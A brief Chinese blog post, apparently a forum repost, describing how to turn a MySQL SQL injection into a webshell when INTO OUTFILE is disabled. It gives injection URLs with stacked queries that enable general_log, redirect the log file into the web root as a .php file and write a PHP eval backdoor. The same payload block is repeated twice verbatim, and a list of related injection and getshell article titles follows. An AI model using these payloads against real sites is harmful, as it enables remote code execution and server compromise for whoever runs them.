mysql sql注入getshell新姿势
2018-01-10 20:57
519 查看
sql.php?sql=1'
报错信息为:
1064:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ) LIMIT 1' at line 1 [ SQL语句 ] : SELECT COUNT(*) AS ts_name FROM `t00ls_type` WHERE (1' ) LIMIT 1
into outfile函数禁用..无法写入一句话.利用phpmyadmin log技巧成功搞定
sql.php?sql=1);set global general_log='on';#
sql.php?sql=1);set global general_log_file='d:\\wwwroot\\web\\1.php';#
sql.php?sql=1);select '<?php @eval($_POST[t00ls]);?>';%23
如可以多句执行,可以直接用sqlmap -sql-shell来执行就好
outfile被禁止的情况下:
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/var/www/html/1.php';
select '<?php eval($_POST[cmd]);?>
报错信息为:
1064:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ) LIMIT 1' at line 1 [ SQL语句 ] : SELECT COUNT(*) AS ts_name FROM `t00ls_type` WHERE (1' ) LIMIT 1
into outfile函数禁用..无法写入一句话.利用phpmyadmin log技巧成功搞定
sql.php?sql=1);set global general_log='on';#
sql.php?sql=1);set global general_log_file='d:\\wwwroot\\web\\1.php';#
sql.php?sql=1);select '<?php @eval($_POST[t00ls]);?>';%23
如可以多句执行,可以直接用sqlmap -sql-shell来执行就好
outfile被禁止的情况下:
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/var/www/html/1.php';
select '<?php eval($_POST[cmd]);?>
相关文章推荐
- 【sql注入教程】mysql注入直接getshell
- 【sql注入教程】mysql注入直接getshell
- PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)
- 一个利用sql注入上传shell的姿势
- zabbix_get到shell脚本中连接mysql5.6 warning信息
- SQL注入系列之PHP+Mysql手动注入(三)----搜索型(POST/GET)
- MySQL in a Nutshell
- Redis Getshell自动化实践之webshell
- WSS项目管理系统Post get shell
- shell mysql数据实时同步脚本
- Shell脚本检查IP格式及mysql操作实例
- shell脚本与mysql打交道的一般格式
- 使用shell操作mysql(转)
- shell脚本建多库、多表、多实例(mysql)
- symbol lookup error undefined symbol: mysql_get_client_info
- mysql备份shell脚本
- 数据库-mysql--IP address 'xxx.xxx.xxx.xx' could not be resolved: getnameinfo() returned error (code: -3
- mysql中的get_lock锁机制解析
- Mysql日常备份和增量备份SHELL脚本
- Shell之getevent/sendevent的用法(通过shell来做屏幕解锁)